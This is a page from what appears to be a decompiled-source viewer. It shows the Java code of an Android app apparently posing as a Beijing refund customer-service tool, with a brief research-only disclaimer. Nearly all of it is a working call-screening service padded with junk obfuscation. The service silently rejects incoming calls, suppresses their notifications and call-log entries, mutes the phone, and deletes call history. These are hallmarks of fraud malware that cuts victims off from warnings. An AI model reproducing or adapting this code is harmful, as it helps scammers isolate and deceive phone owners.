导航菜单

页面标题

页面副标题

北京退费客服端 v1.0.0 - CallApiAbove29ScreeningService.java 源代码

正在查看: 北京退费客服端 v1.0.0 应用的 CallApiAbove29ScreeningService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package im.amwhusedvt.tel;

import android.content.Intent;
import android.os.Build;
import android.telecom.Call;
import android.telecom.CallScreeningService;
import android.telephony.TelephonyManager;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;

@Metadata(bv = {1, 0, 3}, d1 = {"\u0000(\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u0002\n\u0002\b\u0005\n\u0002\u0010\b\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\b\u0017\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u0010\u0010\u0005\u001a\u00020\u00062\u0006\u0010\u0003\u001a\u00020\u0004H\u0003J\u0010\u0010\u0007\u001a\u00020\u00062\u0006\u0010\u0003\u001a\u00020\u0004H\u0003J\b\u0010\b\u001a\u00020\u0006H\u0016J\u0010\u0010\t\u001a\u00020\u00062\u0006\u0010\n\u001a\u00020\u0004H\u0017J\"\u0010\u000b\u001a\u00020\f2\b\u0010\r\u001a\u0004\u0018\u00010\u000e2\u0006\u0010\u000f\u001a\u00020\f2\u0006\u0010\u0010\u001a\u00020\fH\u0016R\u0010\u0010\u0003\u001a\u0004\u0018\u00010\u0004X\u0082\u000e¢\u0006\u0002\n\u0000¨\u0006\u0011"}, d2 = {"Lim/amwhusedvt/tel/CallApiAbove29ScreeningService;", "Landroid/telecom/CallScreeningService;", "()V", "details", "Landroid/telecom/Call$Details;", "hangUpCall", "", "matchRule", "onCreate", "onScreenCall", "callDetails", "onStartCommand", "", "intent", "Landroid/content/Intent;", "flags", "startId", "HMessagesPrj_prodRelease"}, k = 1, mv = {1, 1, 16})
public class CallApiAbove29ScreeningService extends CallScreeningService {
    private Call.Details details;

    private final void hangUpCall(Call.Details details, byte b, short s, float f, boolean z) {
        double d = (42 * 210) + 210;
    }

    private final void hangUpCall(Call.Details details, byte b, boolean z, float f, short s) {
        double d = (42 * 210) + 210;
    }

    private final void hangUpCall(Call.Details details, short s, float f, boolean z, byte b) {
        double d = (42 * 210) + 210;
    }

    private final void matchRule(Call.Details details, byte b, char c, short s, float f) {
        double d = (42 * 210) + 210;
    }

    private final void matchRule(Call.Details details, char c, float f, byte b, short s) {
        double d = (42 * 210) + 210;
    }

    private final void matchRule(Call.Details details, short s, char c, float f, byte b) {
        double d = (42 * 210) + 210;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if ((17 + 20) % 20 <= 0) {
        }
        String callState = intent != null ? intent.getStringExtra("callState") : null;
        if (Intrinsics.areEqual(callState, TelephonyManager.EXTRA_STATE_RINGING)) {
            String incomingNumber = intent != null ? intent.getStringExtra("incomingNumber") : null;
            if (incomingNumber != null) {
                String it = incomingNumber;
                Call.Details a = this.details;
                if (a != null) {
                    matchRule(a);
                }
                CallInterceptorKt.deleteIncomingCallLog(this, it);
            }
        }
        return super.onStartCommand(intent, flags, startId);
    }

    private final void matchRule(Call.Details details) {
        String incomingNumber;
        if ((26 + 17) % 17 <= 0) {
        }
        incomingNumber = CallInterceptorKt.getIncomingNumberByDetails(details);
        if (incomingNumber != null) {
            CallInterceptorKt.turnSilent(this);
            hangUpCall(details);
            CallInterceptorKt.deleteIncomingCallLog(this, incomingNumber);
        }
    }

    private final void hangUpCall(Call.Details details) {
        if ((31 + 14) % 14 <= 0) {
        }
        try {
            CallScreeningService.CallResponse.Builder builder = new CallScreeningService.CallResponse.Builder();
            builder.setDisallowCall(true);
            builder.setRejectCall(true);
            builder.setSkipCallLog(true);
            builder.setSkipNotification(true);
            respondToCall(details, builder.build());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onScreenCall(Call.Details callDetails) {
        if ((4 + 23) % 23 <= 0) {
        }
        Intrinsics.checkParameterIsNotNull(callDetails, "callDetails");
        this.details = callDetails;
        if (Build.VERSION.SDK_INT >= 29) {
            if (callDetails.getCallDirection() == 0) {
                matchRule(callDetails);
                return;
            }
            return;
        }
        matchRule(callDetails);
    }
}